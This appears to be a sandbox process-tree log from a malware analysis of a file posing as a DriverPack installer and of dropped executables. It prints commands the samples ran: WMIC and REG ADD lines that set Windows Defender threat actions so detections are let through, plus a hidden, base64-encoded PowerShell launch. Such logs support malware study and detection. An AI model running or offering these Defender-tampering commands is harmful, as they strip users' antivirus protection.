C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=4548 /prefetch:82⤵PID:2216
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6396 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:1240
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6276 /prefetch:82⤵PID:32
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3084 /prefetch:82⤵PID:3208
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1492,12381456196344374011,7129675537322004227,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5512 /prefetch:82⤵PID:1128
-
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2340
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1904
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1416
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1360
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1100
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
PID:900 -
C:\Users\Admin\AppData\Roaming\fhgtuieC:\Users\Admin\AppData\Roaming\fhgtuie2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1380
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /c2⤵
- Loads dropped DLL
PID:4080 -
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /cr3⤵
- Loads dropped DLL
PID:6056
-
-
C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleCrashHandler.exe"C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleCrashHandler.exe"3⤵PID:4600
-
-
C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleCrashHandler64.exe"C:\Program Files (x86)\Google\Update\1.3.36.112\GoogleCrashHandler64.exe"3⤵PID:5864
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ua /installsource core3⤵PID:7056
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ua /installsource core3⤵PID:8536
-
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ua /installsource scheduler2⤵
- Loads dropped DLL
PID:4328
-
-
C:\Users\Admin\AppData\Roaming\fhgtuieC:\Users\Admin\AppData\Roaming\fhgtuie2⤵PID:5164
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵PID:7528
-
-
C:\Users\Admin\AppData\Local\Temp\WUUWFJqnKFeOpXCaR\eeNammEZxjaGeaJ\Jousgai.exeC:\Users\Admin\AppData\Local\Temp\WUUWFJqnKFeOpXCaR\eeNammEZxjaGeaJ\Jousgai.exe AP /site_id 525403 /S2⤵PID:4340
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &3⤵PID:6092
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"4⤵PID:11144
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True5⤵PID:9496
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True6⤵PID:2472
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True7⤵PID:7132
-
-
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"3⤵PID:10772
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵PID:2760
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:325⤵PID:9824
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:644⤵PID:9656
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:324⤵PID:8220
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:644⤵PID:8588
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\WUUWFJqnKFeOpXCaR\eeNammEZxjaGeaJ\Jousgai.exeC:\Users\Admin\AppData\Local\Temp\WUUWFJqnKFeOpXCaR\eeNammEZxjaGeaJ\Jousgai.exe AP /site_id 525403 /S2⤵PID:4944
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &3⤵PID:3164
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"4⤵PID:9748
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True5⤵PID:5528
-
-
-
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:3324
-
C:\Users\Admin\Downloads\DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe"C:\Users\Admin\Downloads\DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:2900 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\DriverPack\start.bat" "DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe""2⤵PID:312
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Program Files (x86)\DriverPack\run.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} --sfx "DriverPack-17-Online_896666316.1639193309__wkqxuq0o4ynv5s3.exe"3⤵
- Blocklisted process makes network request
PID:1064 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1064 -s 24524⤵
- Drops file in Windows directory
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3576
-
-
-
-
C:\Windows\system32\compattelrunner.exeC:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW1⤵PID:1240
-
C:\Windows\system32\compattelrunner.exeC:\Windows\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW1⤵PID:3028
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C "C:\Program Files (x86)\DriverPack\start.bat"1⤵PID:736
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Program Files (x86)\DriverPack\run.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} --sfx2⤵PID:4056
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4056 -s 21043⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2936
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1048 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ff8a3a64f50,0x7ff8a3a64f60,0x7ff8a3a64f702⤵PID:196
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1504 /prefetch:22⤵PID:612
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1156 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:368
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2144 /prefetch:82⤵PID:792
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2540 /prefetch:12⤵PID:2440
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2512 /prefetch:12⤵PID:3368
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:12⤵PID:360
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3716 /prefetch:12⤵PID:2196
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3944 /prefetch:82⤵PID:3656
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4088 /prefetch:82⤵PID:2104
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4476 /prefetch:82⤵PID:4092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4608 /prefetch:82⤵PID:2788
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4668 /prefetch:82⤵PID:2728
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4628 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
PID:1720
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4652 /prefetch:12⤵PID:2920
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2576 /prefetch:12⤵PID:3488
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5160 /prefetch:12⤵PID:1528
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2916 /prefetch:12⤵PID:2440
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2900 /prefetch:12⤵PID:1752
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2624 /prefetch:12⤵PID:1084
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5292 /prefetch:82⤵PID:604
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5048 /prefetch:12⤵PID:684
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5448 /prefetch:82⤵PID:2368
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3260 /prefetch:82⤵PID:3624
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3848 /prefetch:82⤵PID:2616
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3260 /prefetch:82⤵PID:3600
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1476,474760470924831667,5802484172420510388,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5568 /prefetch:82⤵PID:1452
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1600
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
PID:356 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ff8a3a64f50,0x7ff8a3a64f60,0x7ff8a3a64f702⤵PID:1180
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1480 /prefetch:22⤵PID:324
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1488,3839914902579621801,1301024151018643446,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1876 /prefetch:82⤵PID:2744
-
-
